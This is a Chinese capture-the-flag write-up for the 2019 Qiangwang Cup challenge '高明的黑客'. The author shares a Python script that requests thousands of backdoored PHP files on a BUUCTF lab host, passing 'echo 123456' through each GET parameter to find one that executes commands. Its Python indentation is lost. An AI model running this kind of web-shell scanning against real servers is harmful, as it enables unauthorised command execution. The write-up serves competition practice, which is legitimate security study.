[强网杯 2019]高明的黑客 1
打开题目之后是一段简单的话:
提示到网站的源码在www.tar.gz里,于是访问,下载网页源码,下载之后发现并不是网页源码,解压下载的文件发现里面有3000多个php文件,于是用D盾粗扫了一遍,发现全是报后门文件,但是尝试利用,发现前面一个文件都不能用,但是这3000多个文件必然有可以用的,于是就尝试进行文件遍历,找出可以利用的文件:
附上自己的脚本:
import re
import os
import requests
files = os.listdir(r'C:\Users\86152\Desktop\www\src') #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') #设置正则
for i in files: #从第一个文件开始
url = "http://7f89144b-0ea3-4778-a8a2-253794458c23.node4.buuoj.cn:81/" + i
f = open(r"C:\Users\86152\Desktop\www\src/"+i,encoding='UTF-8') #打开这个文件
data = f.read() #读取文件内容
f.close() #关闭文件
result = reg.findall(data) #从文件中找到GET请求
for j in result: #从第一个GET参数开始
payload = url + "?" + j + "=echo 123456" ##尝试请求次路径,并执行命令
print(payload) #输出payload
html = requests.get(payload) #获取返回内容
if "123456" in html.text:
print("就是它了!:") #判断返回内容有123456的及可以利用
print(payload)
exit(1)